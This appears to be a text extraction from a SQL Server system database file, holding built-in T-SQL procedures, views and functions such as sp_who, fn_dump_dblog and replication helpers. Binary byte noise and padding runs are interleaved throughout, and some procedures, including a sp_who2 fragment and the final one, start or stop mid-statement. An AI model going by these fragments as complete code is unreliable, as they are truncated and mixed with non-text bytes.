4xpstar.dll0`4xpstar.dll05̃`4xpstar.dll0r`4xpstar.dll0&`4xpstar.dll0PD`4xpstar.dll0'j 4xpstar.dllnal)0j+ B(server internal)0*R B(server internal)0>`B(server internal)0 4xprepl.dll05D 4xprepl.dll0`4xprepl.dll0 4xprepl.dll0`4xprepl.dll0 \replposteor extended procedure0 4xprepl.dll0( 4xprepl.dll0h+`4xprepl.dll0 4xprepl.dll0v`4xprepl.dll0쮗`4xprepl.dll0 Vrepldone extended procedure0t Xrepltrans extended procedure0L ^replcounters extended procedure09 \sp_replhelp extended procedure05k fsp_replddlparser extended procedure0 Vreplcmds extended procedure0^ Xreplflush extended procedure0 \replpostcmd extended procedure0_`~sp_replincrementlsn_internal extended procedure0c`freplupdateschema extended procedure0hr`sp_replsetoriginator_internal extended procedure0k`hreplsetsyncstatus extended procedure0 4xpstar.dll0%3 4xpstar.dll0 6	XD|,$!\[NBd)6
Sx0
`(	s	PL
F

HcK	k1	
C
r!
`/a<Oz*07
@ 8create procedure sys.sp_dbmmonitorhelpmonitoring 
as
begin
	set nocount on
	if (is_srvrolemember(N'sysadmin') <> 1 )
        begin
			raiserror(21089, 16, 1)
			return (1)
		end

	declare @freq_type				int,	-- 4 = daily
			@freq_interval			int,	-- Every 1 days 
			@freq_subday_type		int,	-- 4 = based on Minutes
			@freq_subday_interval	int,	-- interval
			@job_id					uniqueidentifier,
			@schedule_id			int,
			@retention_period		int,
			@jobname				nvarchar( 256 )

	select @jobname   = isnull( formatmessage( 32047 ), N'Database Mirroring Monitor Job' )

	select @job_id = job_id from msdb.dbo.sysjobs where name = @jobname
	if (@job_id is null)	-- if the job does not exist, error out
	begin
		raiserror( 32049, 16, 1 )
		return 1 
	end
	
	select @schedule_id = schedule_id from msdb.dbo.sysjobschedules where job_id = @job_id
	select	@freq_type = freq_type,
			@freq_interval = freq_interval, 
			@freq_subday_type = freq_subday_type,
			@freq_subday_interval = freq_subday_interval
		from msdb.dbo.sysschedules where schedule_id = @schedule_id

	-- If the frequency parameters are not what we expect then return an error
	-- Someone has changed the job schedule on us
	if (@freq_type <> 4) or (@freq_interval <> 1) or (@freq_subday_type <> 4)
	begin
		raiserror( 32037, 16, 1)
		return 1
	end

	select @freq_subday_interval update_period

	return 0
end
0

 8CREATE PROCEDURE sys.sp_fulltext_thesaurus_add_term
    @createNewState bit,
    @newstateid int,
    @parentid int,
    @phraseIdOrNull int,
    @term varbinary(132),
    @lcid int,
    @newStateCreated bit output,
    @duplicateThesaurusRule bit output
AS
BEGIN
    SET NOCOUNT ON

    DECLARE @stateid int
    DECLARE @existingPhraseId int

    SELECT @newStateCreated = 0
    SELECT @duplicateThesaurusRule=0
    
    if (@createNewState = 0)
    BEGIN
    SELECT @stateid = stateid, @existingPhraseId=phraseid
        FROM tempdb.sys.fulltext_thesaurus_state_table
        WHERE ( ( parentid = @parentid ) AND 
                ( term = @term ) AND
                (lcid = @lcid) )
    END
    
    IF ( @stateid IS NULL )
    BEGIN
        INSERT INTO tempdb.sys.fulltext_thesaurus_state_table (stateid, parentid, phraseid, term, lcid )
            VALUES (@newstateid, @parentid, @phraseIdOrNull, @term, @lcid )

        SELECT @stateid = @newstateid
        SELECT @newStateCreated = 1

    END
    ELSE IF ( @phraseIdOrNull IS NOT NULL ) 
    BEGIN
        IF (@existingPhraseId IS NULL)
        BEGIN
            UPDATE tempdb.sys.fulltext_thesaurus_state_table
                SET phraseid = @phraseIdOrNull
                WHERE ( ( parentid = @parentid ) AND 
                        ( term = @term ) AND
                        (lcid = @lcid) )
        END
        ELSE IF (@existingPhraseId IS NOT NULL)
        BEGIN
            -- Duplicate terminal phrase encountered in the thesaurus file
            -- Ignore duplicate phrase (no need to update state table)
            SELECT @duplicateThesaurusRule=1
        END
    END
    
    RETURN @stateid
END
0-I@ v8CREATE VIEW sys.dm_os_wait_stats AS
	SELECT *
	FROM OpenRowset(TABLE SYSWAITSTATS)
0J 8CREATE VIEW sys.dm_os_memory_node_access_stats AS
	SELECT *
	FROM OpenRowSet(TABLE DM_OS_MEMORYNODEACCESSSTATS)
0&n B8create procedure sys.sp_who  --- 1995/11/28 15:48
       @loginame sysname = NULL --or 'active'
as

declare	 @spidlow	int,
		 @spidhigh	int,
		 @spid		int,
		 @sid		varbinary(85)

select	 @spidlow	=     0
		,@spidhigh	= 32767


if (	@loginame is not NULL
   AND	upper(@loginame collate Latin1_General_CI_AS) = 'ACTIVE'
   )
	begin

	select spid , ecid, status
              ,loginame=rtrim(loginame)
	      ,hostname ,blk=convert(char(5),blocked)
	      ,dbname = case
						when dbid = 0 then null
						when dbid <> 0 then db_name(dbid)
					end
		  ,cmd
		  ,request_id
	from  sys.sysprocesses_ex
	where spid >= @spidlow and spid <= @spidhigh AND
	      upper(cmd) <> 'AWAITING COMMAND'

	return (0)
	end

if (@loginame is not NULL
   AND	upper(@loginame collate Latin1_General_CI_AS) <> 'ACTIVE'
   )
begin
	if (@loginame like '[0-9]%')	-- is a spid.
	begin
		select @spid = convert(int, @loginame)
		select spid, ecid, status,
			   loginame=rtrim(loginame),
			   hostname,blk = convert(char(5),blocked),
			   dbname = case
							when dbid = 0 then null
							when dbid <> 0 then db_name(dbid)
						end
			  ,cmd
			  ,request_id
		from  sys.sysprocesses_ex
		where spid = @spid
	end
	else
	begin
		select @sid = suser_sid(@loginame)
		if (@sid is null)
		begin
			raiserror(15007,-1,-1,@loginame)
			return (1)
		end
		select spid, ecid, status,
			   loginame=rtrim(loginame),
			   hostname ,blk=convert(char(5),blocked),
			   dbname = case
							when dbid = 0 then null
							when dbid <> 0 then db_name(dbid)
						end
			   ,cmd
			   ,request_id
		from  sys.sysprocesses_ex
		where sid = @sid
	end
	return (0)
end


-- loginame arg is null
select spid,
	   ecid,
	   status,
       loginame=rtrim(loginame),
	   hostname,
	   blk=convert(char(5),blocked),
	   dbname = case
					when dbid = 0 then null
					when dbid <> 0 then db_name(dbid)
				end
	   ,cmd
	   ,request_id
from  sys.sysprocesses_ex
where spid >= @spidlow and spid <= @spidhigh

return (0) -- sp_who
0fC D8ah 0S 8create function sys.fn_remote_catalogs(
	@server		sysname,
	@catalog	sysname = NULL)
returns table
as
return	select * from OpenRowset(SYSREMOTE_CATALOGS, @server, @catalog)
07@ `8CREATE VIEW INFORMATION_SCHEMA.KEY_COLUMN_USAGE
AS
SELECT
	DB_NAME()				AS CONSTRAINT_CATALOG,
	SCHEMA_NAME(f.schema_id)		AS CONSTRAINT_SCHEMA,
	f.name					AS CONSTRAINT_NAME,
	DB_NAME()				AS TABLE_CATALOG,
	SCHEMA_NAME(p.schema_id)		AS TABLE_SCHEMA,
	p.name					AS TABLE_NAME,
	col_name(k.parent_object_id, k.parent_column_id)
						AS COLUMN_NAME,
	k.constraint_column_id			AS ORDINAL_POSITION
FROM
	sys.foreign_keys f JOIN sys.foreign_key_columns k
		ON k.constraint_object_id = f.object_id
	JOIN sys.tables	p ON p.object_id = f.parent_object_id
UNION
SELECT
	DB_NAME()				AS CONSTRAINT_CATALOG,
	SCHEMA_NAME(k.schema_id)		AS CONSTRAINT_SCHEMA,
	k.name					AS CONSTRAINT_NAME,
	DB_NAME()				AS TABLE_CATALOG,
	SCHEMA_NAME(t.schema_id)		AS TABLE_SCHEMA,
	t.name					AS TABLE_NAME,
	col_name(c.object_id, c.column_id)	AS COLUMN_NAME,
	c.key_ordinal				AS ORDINAL_POSITION
FROM
	sys.key_constraints k JOIN sys.index_columns c
		ON c.object_id = k.parent_object_id
		AND c.index_id = k.unique_index_id
	JOIN sys.tables t ON t.object_id = k.parent_object_id
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!p,C`t<N00ZG@ 8create view sys.dm_io_cluster_shared_drives
as
	select * from OpenRowset(TABLE SERVERSHAREDDRIVES)
0}Q P8!&h>	'T
0)K 8--
-- Name: sp_MSfixup_base_columns
--
-- Owner: QunGuo
--
-- Description: this is a helper procedure which populates a temp
--			table with the base columns of all constraints/computed columns
--			added in current DDL, so to make it easier to figure out what 
--			to post for each article, while we are here, why not also figure
--			out if we need to split into single command mode
--
-- Parameter: 
--
-- Returns: 1 or 0   0 = success
--
-- Security: internal, not exposed
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSfixup_base_columns
(
--pass in these constant from caller, so we don't have define them everwhere
    @subtype_addcolumn int
    ,@subtype_adddf int
    ,@objid int
    ,@break_add_into_singles bit output
    ,@subtype int
    ,@subscription_active int
    ,@debug_print bit = 0
)
as
begin 
	begin tran replddl_fixup_base_columns
	save tran replddl_fixup_base_columns

	--this query depend on ColumnName being valid so this has to happen after we fish out empty constraint names
	--I see no reason to qualify it with type of DDL, for drops it will simply insert nothing here

	--first get base column of all constraints added/enable/disabled in this DDL
	--exclud any newly added columns
	insert #basecol_cnst 	(constraint_column_id, constraint_column_name, constraint_name, type) 
		select distinct sc.column_id, sc.name, fmcc.constraint_name, EnumType 
			from sys.columns sc 
					join sys.fn_MSconstraint_columns (@objid) fmcc on sc.column_id = fmcc.constraint_column_id 
					join	#tran_altertable ta on fmcc.constraint_name = ta.ColumnName collate database_default 
					where sc.object_id = @objid and sc.name not in 
						(select ColumnName from #tran_altertable where EnumType = @subtype_addcolumn)
	if @@ERROR <> 0
	begin
		goto FAILURE
	end		

	--second get base column of all computed columns added in this DDL
	--exclude any column_id we add in first step
	--exclud any newly added columns
	insert #basecol_cnst 	(constraint_column_id, constraint_column_name, constraint_name, type) 
		select distinct sc.column_id, sc.name, sc.name, EnumType
			from #tran_altertable 
					full outer join sys.columns sc on sc.name = ColumnName collate database_default 
					join sys.sql_dependencies ssd on sc.object_id = ssd.object_id and sc.column_id = ssd.referenced_minor_id 
					where sc.object_id = @objid and sc.column_id is not null and sc.name is not null
						and sc.column_id not in (select constraint_column_id from #basecol_cnst)
						and sc.name not in 
						(select ColumnName from #tran_altertable where EnumType = @subtype_addcolumn)
	if @@ERROR <> 0
	begin
		goto FAILURE
	end		
	if (@debug_print = 1)
		select 'stage' = 'sp_MSfixup_base_columns: const/computed', * from #basecol_cnst 
		
	--the following logic has to do with figuring out if we need to split into single command mode
	--if it's already decided, just exit.
	if (@break_add_into_singles = 1)
		goto SKIPCHECK

	--in case of adding constraints to existing columns, if any base column is not in all artive partition
	--we can't post this cmd to everyone, switch to single cmd mode
	begin 
		--these are the columns existing in every active partiton
		declare @artmincols table (column_id int)
		
		--article base on this object id with active subscription and allow replicate_ddl
		declare @artcols table (artid int)

		insert @artcols select distinct sa.artid from sysarticles sa 
																	join syspublications sp on sp.pubid = sa.pubid
																	join syssubscriptions ss on ss.artid = sa.artid
																where sa.objid = @objid
																	and ss.status = @subscription_active  -- active
																	and sp.replicate_ddl = 1
																	

		--count of @artcols tells how many articles we may need to post to
		--group by having count() picks out colids exist in all of these articles.
		insert @artmincols (column_id) select sac.colid from dbo.sysarticlecolumns sac join 
														@artcols ac on sac.artid = ac.artid
											group by sac.colid having count(sac.colid) = (select count(*) from @artcols)


		if exists (select * from #basecol_cnst where constraint_column_id not in (select column_id from @artmincols)) -- base col not in every partition
		begin
			set @break_add_into_singles = 1
		end
	end

	--
	--if any column is added with named default 'with values', set so in ColumnAttr in addcolumn row
	--
	update #tran_altertable set ColumnAttr = N'WITH VALUES' where ColumnName collate database_default in 
			(select c.name collate database_default
				from #tran_altertable t 	join sys.default_constraints dc on dc.name = t.ColumnName collate database_default
									join sys.columns c on c.object_id = dc.parent_object_id
									and c.column_id = dc.parent_column_id
				where dc.parent_object_id = @objid and t.EnumType = @subtype_adddf 
					and ColumnAttr = N'WITH VALUES' collate database_default)

	if @@ERROR <> 0
	begin
		goto FAILURE
	end		
					
	if @debug_print = 1
		select 'stage' = 'sp_MSfixup_base_columns: with values', * from #tran_altertable 
	--
	--if any default is added with base column in the same DDL, delete the default row now
	--
	delete #tran_altertable where EnumType = @subtype_adddf and ColumnName collate database_default in 
			(select dc.name collate database_default
				from #tran_altertable t 
									join sys.columns c on c.name = t.ColumnName collate database_default
									join 	sys.default_constraints dc on c.object_id = dc.parent_object_id
																			and c.column_id = dc.parent_column_id
				where dc.parent_object_id = @objid and t.EnumType = @subtype_addcolumn)

	if @@ERROR <> 0
	begin
		goto FAILURE
	end		
					

	if @debug_print = 1
		select 'stage' = 'sp_MSfixup_base_columns: final', * from #tran_altertable 


SKIPCHECK:
	commit tran replddl_fixup_base_columns
	return 0
FAILURE:
	rollback tran replddl_fixup_base_columns
	commit tran
	return 1

end
          END

            ,DBName        = substring(case when dbid = 0 then null when dbid <> 0 then db_name(dbid) end,1,' + @charMaxLenDBName + ')
            ,Command       = substring(cmd,1,' + @charMaxLenCommand + ')

            ,CPUTime       = substring(convert(varchar,cpu),1,' + @charMaxLenCPUTime + ')
            ,DiskIO        = substring(convert(varchar,physical_io),1,' + @charMaxLenDiskIO + ')

            ,LastBatch     = substring(last_batch_char,1,' + @charMaxLenLastBatch + ')

            ,ProgramName   = substring(program_name,1,' + @charMaxLenProgramName + ')
            ,SPID          = convert(char(5),spid)  --Handy extra for right-scrolling users.
            ,REQUESTID       = convert(char(5),request_id)
      from
             #tb1_sysprocesses  --Usually DB qualification is needed in exec().
      where
             spid >= ' + @charspidlow  + '
      and    spid <= ' + @charspidhigh + '

      order by spid_sort

SET nocount on
'
)


LABEL_86RETURN:


if (object_id('tempdb..#tb1_sysprocesses') is not null)
            drop table #tb1_sysprocesses

return @retcode -- sp_who2
0y 8 
-- add it
create view sys.dm_pdw_nodes_db_file_space_usage as
select *, convert(int, null) pdw_node_id from sys.dm_db_file_space_usage
0@ 8 
-- add it
create view sys.dm_pdw_dms_cores as
select
	dms_core_id,
	pdw_node_id,
	status	collate database_default status
from sys._dm_pdw_dms_cores
0Yj@ 8 
-- add it
create view sys.pdw_health_components as
select
	component_id,
	group_id,
	component_name	collate database_default component_name
from sys._pdw_health_components
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!?6`	<M?0Ν 8CREATE VIEW sys.availability_group_listener_ip_addresses AS
	SELECT
		listener_id = CAST(agl.listener_id AS nvarchar(36)),
		ip_address = CAST(agl.ip_address as nvarchar(48)),
		ip_subnet_mask = CAST(agl.ip_subnet_mask as nvarchar(15)),
		is_dhcp = agl.is_dhcp,
		network_subnet_ip = CAST(agl.network_subnet_ip as nvarchar(48)),
		network_subnet_prefix_length = CAST(agl.network_subnet_prefix_length as int),
		network_subnet_ipv4_mask = CAST(agl.network_subnet_ipv4_mask as nvarchar(48)),
		state = CAST(agl.state AS tinyint),
		state_desc = CAST(agl.state_desc AS nvarchar(60))
	FROM
		sys.dm_hadr_internal_ag_listener_addresses AS agl
0D 8 
-- add it
create view sys.dm_pdw_nodes_os_threads as
select *, convert(int, null) pdw_node_id from sys.dm_os_threads
0t y8-- Requires Certificate signature for catalog access
create procedure sys.sp_MSevaluate_logicalrecordparent_allcontentsrows @pubid uniqueidentifier = NULL, @artid uniqueidentifier = NULL
as
    declare @in_tran bit
    select @in_tran = 0
    -- If this publication has no logical records defined, return without doing anything
    if not exists (select * from dbo.sysmergepartitioninfo where (pubid = @pubid or artid = @artid)
                    and logical_record_view is not null)
        return 0
    
    declare articles_in_logical_records cursor local fast_forward for 
        select distinct sma.nickname, sma.objid, 'dbo.' + quotename(object_name(smaw.logical_record_view)), smaw.logical_record_parent_nickname
        from dbo.sysmergearticles sma, dbo.sysmergepartitioninfo smaw
        where smaw.logical_record_view is not null
        and (sma.pubid = @pubid or sma.artid = @artid)
        and sma.artid = smaw.artid
        and sma.pubid = smaw.pubid
        and smaw.logical_record_parent_nickname is not null
        order by nickname
        for read only
        
    declare @nickname int, 
            @logical_record_view_name nvarchar(270), 
            @logical_record_parent_nickname int,
            @logical_record_parent_gencur bigint,
            @logical_record_parent_oldmaxversion int,
            @objid int,
            @rgcol nvarchar(270),
            @command nvarchar(max),
            @replnick binary(6),
            @retcode int,
            @dbname nvarchar(258)
            
    set @retcode = 1
    select @dbname = quotename(db_name())
            
    exec sys.sp_MSgetreplnick @replnick = @replnick output
        
    open articles_in_logical_records
    
    fetch next from articles_in_logical_records into @nickname, @objid, @logical_record_view_name, @logical_record_parent_nickname
    
    while @@fetch_status <> -1
    begin    
        select @rgcol = quotename(name) from sys.columns where object_id = @objid and is_rowguidcol = 1
        select top 1 @logical_record_parent_oldmaxversion = maxversion_at_cleanup
        from dbo.sysmergearticles 
        where nickname = @logical_record_parent_nickname

        exec  sys.sp_MSmerge_getgencur @logical_record_parent_nickname, 1, @logical_record_parent_gencur output
                
        select @command = N'update ' + @dbname + '.[dbo].[MSmerge_contents] 
        set logical_record_parent_rowguid = lrv.logical_record_parent_rowguid
        from ' + @dbname + '.[dbo].[MSmerge_contents] mc, ' + @logical_record_view_name + ' lrv
        where mc.tablenick = @nickname
        and mc.rowguid = lrv.' + @rgcol + '
        
        declare @logical_record_parent_rowguids table (logical_record_parent_rowguid uniqueidentifier)
        declare @logical_record_lineage varbinary(311), @logical_record_parent_regular_lineage varbinary(311)
        
        insert into @logical_record_parent_rowguids select distinct logical_record_parent_rowguid
        from ' + @dbname + '.[dbo].[MSmerge_contents] 
        where tablenick = @nickname
        and logical_record_parent_rowguid is not null
        
        update ' + @dbname + '.[dbo].[MSmerge_contents]
        set logical_record_lineage = { fn UPDATELINEAGE(logical_record_lineage, @replnick, @logical_record_parent_oldmaxversion+1) }
        where tablenick = @logical_record_parent_nickname
        and rowguid in (select logical_record_parent_rowguid from @logical_record_parent_rowguids)
        
        delete from @logical_record_parent_rowguids
        where logical_record_parent_rowguid in 
                (select rowguid from ' + @dbname + '.[dbo].[MSmerge_contents]
                    where tablenick = @logical_record_parent_nickname)
                    
        -- Now @logical_record_parent_rowguids is left with parent rowguids that are not present in MSmerge_contents.
        if exists (select * from @logical_record_parent_rowguids)
        begin
            select @logical_record_lineage = { fn UPDATELINEAGE(0x0, @replnick, @logical_record_parent_oldmaxversion+1) }
            
            -- if no cleanup done yet, use 1 as the version.
            if @logical_record_parent_oldmaxversion = 1
                select @logical_record_parent_regular_lineage = { fn UPDATELINEAGE(0x0, @replnick, 1) }
            else 
                select @logical_record_parent_regular_lineage = @logical_record_lineage
            
            insert into ' + @dbname + '.[dbo].[MSmerge_contents] (tablenick, rowguid, lineage, colv1, generation, partchangegen,
                logical_record_parent_rowguid, logical_record_lineage) 
            select distinct @logical_record_parent_nickname, lrpg.logical_record_parent_rowguid, 
                @logical_record_parent_regular_lineage, 0x00, @logical_record_parent_gencur, NULL, lrpg.logical_record_parent_rowguid, 
                @logical_record_lineage
            from @logical_record_parent_rowguids lrpg
            where not exists (select rowguid from ' + @dbname + '.[dbo].[MSmerge_contents] where tablenick = @logical_record_parent_nickname
                                and rowguid = lrpg.logical_record_parent_rowguid) 
        end '
        
        begin tran
        save tran eval_logical_record_parent
        select @in_tran = 1
                                
        exec sys.sp_executesql @command, 
            N'@nickname int, @logical_record_parent_nickname int, @logical_record_parent_gencur bigint, 
            @logical_record_parent_oldmaxversion int, @replnick binary(6)',
            @nickname=@nickname,
            @logical_record_parent_nickname=@logical_record_parent_nickname, 
            @logical_record_parent_gencur=@logical_record_parent_gencur,
            @logical_record_parent_oldmaxversion=@logical_record_parent_oldmaxversion,
            @replnick=@replnick
        if @@error <> 0
            goto EXIT_PROC
                    
        commit tran
        select @in_tran = 0
        
        fetch next from articles_in_logical_records into @nickname, @objid, @logical_record_view_name, @logical_record_parent_nickname
    end

    select @retcode = 0
        
EXIT_PROC:

if @in_tran = 1
begin
    rollback tran eval_logical_record_parent
    commit tran
    select @in_tran = 0
end

close articles_in_logical_records
deallocate articles_in_logical_records

return @retcode
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<'CQ01 
8create function sys.fn_dump_dblog
	(
		@start 	  nvarchar (25) = NULL,
		@end   	  nvarchar (25) = NULL,
		@devtype  nvarchar (260) = NULL, -- NULL(DISK) | DISK | TAPE | VIRTUAL_DEVICE
		@seqnum   Int	        = 1,
		@fname1   nvarchar (260) = NULL,
		@fname2   nvarchar (260) = NULL,
		@fname3   nvarchar (260) = NULL,
		@fname4   nvarchar (260) = NULL,
		@fname5   nvarchar (260) = NULL,
		@fname6   nvarchar (260) = NULL,
		@fname7   nvarchar (260) = NULL,
		@fname8   nvarchar (260) = NULL,
		@fname9	  nvarchar (260) = NULL,
		@fname10  nvarchar (260) = NULL,
		@fname11  nvarchar (260) = NULL,
		@fname12  nvarchar (260) = NULL,
		@fname13  nvarchar (260) = NULL,
		@fname14  nvarchar (260) = NULL,
		@fname15  nvarchar (260) = NULL,
		@fname16  nvarchar (260) = NULL,
		@fname17  nvarchar (260) = NULL,
		@fname18  nvarchar (260) = NULL,
		@fname19  nvarchar (260) = NULL,
		@fname20  nvarchar (260) = NULL,
		@fname21  nvarchar (260) = NULL,
		@fname22  nvarchar (260) = NULL,
		@fname23  nvarchar (260) = NULL,
		@fname24  nvarchar (260) = NULL,
		@fname25  nvarchar (260) = NULL,
		@fname26  nvarchar (260) = NULL,
		@fname27  nvarchar (260) = NULL,
		@fname28  nvarchar (260) = NULL,
		@fname29  nvarchar (260) = NULL,
		@fname30  nvarchar (260) = NULL,
		@fname31  nvarchar (260) = NULL,
		@fname32  nvarchar (260) = NULL,
		@fname33  nvarchar (260) = NULL,
		@fname34  nvarchar (260) = NULL,
		@fname35  nvarchar (260) = NULL,
		@fname36  nvarchar (260) = NULL,
		@fname37  nvarchar (260) = NULL,
		@fname38  nvarchar (260) = NULL,
		@fname39  nvarchar (260) = NULL,
		@fname40  nvarchar (260) = NULL,
		@fname41  nvarchar (260) = NULL,
		@fname42  nvarchar (260) = NULL,
		@fname43  nvarchar (260) = NULL,
		@fname44  nvarchar (260) = NULL,
		@fname45  nvarchar (260) = NULL,
		@fname46  nvarchar (260) = NULL,
		@fname47  nvarchar (260) = NULL,
		@fname48  nvarchar (260) = NULL,
		@fname49  nvarchar (260) = NULL,
		@fname50  nvarchar (260) = NULL,
		@fname51  nvarchar (260) = NULL,
		@fname52  nvarchar (260) = NULL,
		@fname53  nvarchar (260) = NULL,
		@fname54  nvarchar (260) = NULL,
		@fname55  nvarchar (260) = NULL,
		@fname56  nvarchar (260) = NULL,
		@fname57  nvarchar (260) = NULL,
		@fname58  nvarchar (260) = NULL,
		@fname59  nvarchar (260) = NULL,
		@fname60  nvarchar (260) = NULL,
		@fname61   nvarchar (260) = NULL,
		@fname62   nvarchar (260) = NULL,
		@fname63   nvarchar (260) = NULL,
		@fname64   nvarchar (260) = NULL
	)

returns table
as
	return select *
	from OpenRowset (TABLE DBLOG, @start, @end, @devtype, @seqnum,
		@fname1,
		@fname2,
		@fname3,
		@fname4,
		@fname5,
		@fname6,
		@fname7,
		@fname8,
		@fname9,
		@fname10,
		@fname11,
		@fname12,
		@fname13,
		@fname14,
		@fname15,
		@fname16,
		@fname17,
		@fname18,
		@fname19,
		@fname20,
		@fname21,
		@fname22,
		@fname23,
		@fname24,
		@fname25,
		@fname26,
		@fname27,
		@fname28,
		@fname29,
		@fname30,
		@fname31,
		@fname32,
		@fname33,
		@fname34,
		@fname35,
		@fname36,
		@fname37,
		@fname38,
		@fname39,
		@fname40,
		@fname41,
		@fname42,
		@fname43,
		@fname44,
		@fname45,
		@fname46,
		@fname47,
		@fname48,
		@fname49,
		@fname50,
		@fname51,
		@fname52,
		@fname53,
		@fname54,
		@fname55,
		@fname56,
		@fname57,
		@fname58,
		@fname59,
		@fname60,
		@fname61,
		@fname62,
		@fname63,
		@fname64)
0ȑ@ 28create procedure sys.sp_MSrepl_gettype_mappings
(
	@dbms_name		sysname,
	@dbms_version 		sysname = NULL,
	@sql_type		sysname = '%',
	@source_prec	int = NULL
)
as
    set nocount on
    declare @retcode int
    declare @distributor sysname
    declare @distribdb sysname
    declare @distproc nvarchar (255)
    
    EXECUTE @retcode = sys.sp_MSrepl_getdistributorinfo @rpcsrvname = @distributor OUTPUT,
           @distribdb   = @distribdb OUTPUT
    IF @@ERROR <> 0 or @retcode <> 0
    BEGIN
        RAISERROR (14071, 16, -1)
        RETURN (1)
    END

    SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribdb)) + '.sys.sp_help_datatype_mapping'

    EXECUTE @retcode = @distproc
                       @dbms_name = @dbms_name,
                       @dbms_version = @dbms_version,
                       @sql_type = @sql_type,
                       @source_prec = @source_prec
             
    IF @@ERROR <> 0 OR @retcode <> 0
        return 1
    ELSE
        return 0
0 8
--
-- Name:
--		sp_MSrepl_checkdatatypemapping
--
-- Description:
--		Verify if a data type mapping exists or not
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		Internal
--

CREATE PROCEDURE sys.sp_MSrepl_checkdatatypemapping
(
	@source_dbms			sysname,
	@source_version			varchar(10)	= NULL,
	@source_type			sysname,
	@source_length			bigint		= NULL,
	@source_precision		int			= NULL,
	@source_scale			int			= NULL,
	@source_nullable		bit			= 1,
	@destination_dbms		sysname,
	@destination_version	varchar(10) = NULL,
	@destination_type		sysname,
	@destination_length		bigint		= NULL,
	@destination_precision	int			= NULL,
	@destination_scale		int			= NULL,
	@destination_nullable	bit			= 1
)
AS
BEGIN
	DECLARE @retcode				int
	
    SET NOCOUNT ON
	set @retcode = 0

	--
    -- Security Check: require sysadmin
	--
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

	-- Get list of matching mappings
	IF NOT EXISTS
	(
		SELECT	*
		FROM	sys.fn_MSrepl_getdatatypemappings
			(
				@source_dbms,
				@source_version,
				@source_type,
				@source_length,
				@source_precision,
				@source_scale,
				@source_nullable,
				@destination_dbms,
				@destination_version,
				0,
				NULL
			)
		WHERE	destination_type		= @destination_type
		  AND	(
		  			(destination_length IS NULL AND @destination_length IS NULL) OR
					(destination_length = @destination_length)
				)
		  AND	(
		  			(destination_precision IS NULL AND @destination_precision IS NULL) OR
					(destination_precision = @destination_precision)
				)
		  AND	(
		  			(destination_scale IS NULL AND @destination_scale IS NULL) OR
					(destination_scale = @destination_scale)
				)
		  AND	destination_nullable	= @destination_nullable
	)
    BEGIN
    	IF @destination_type IS NULL
    	BEGIN
    		RAISERROR(21779, 16, -1, @source_type)
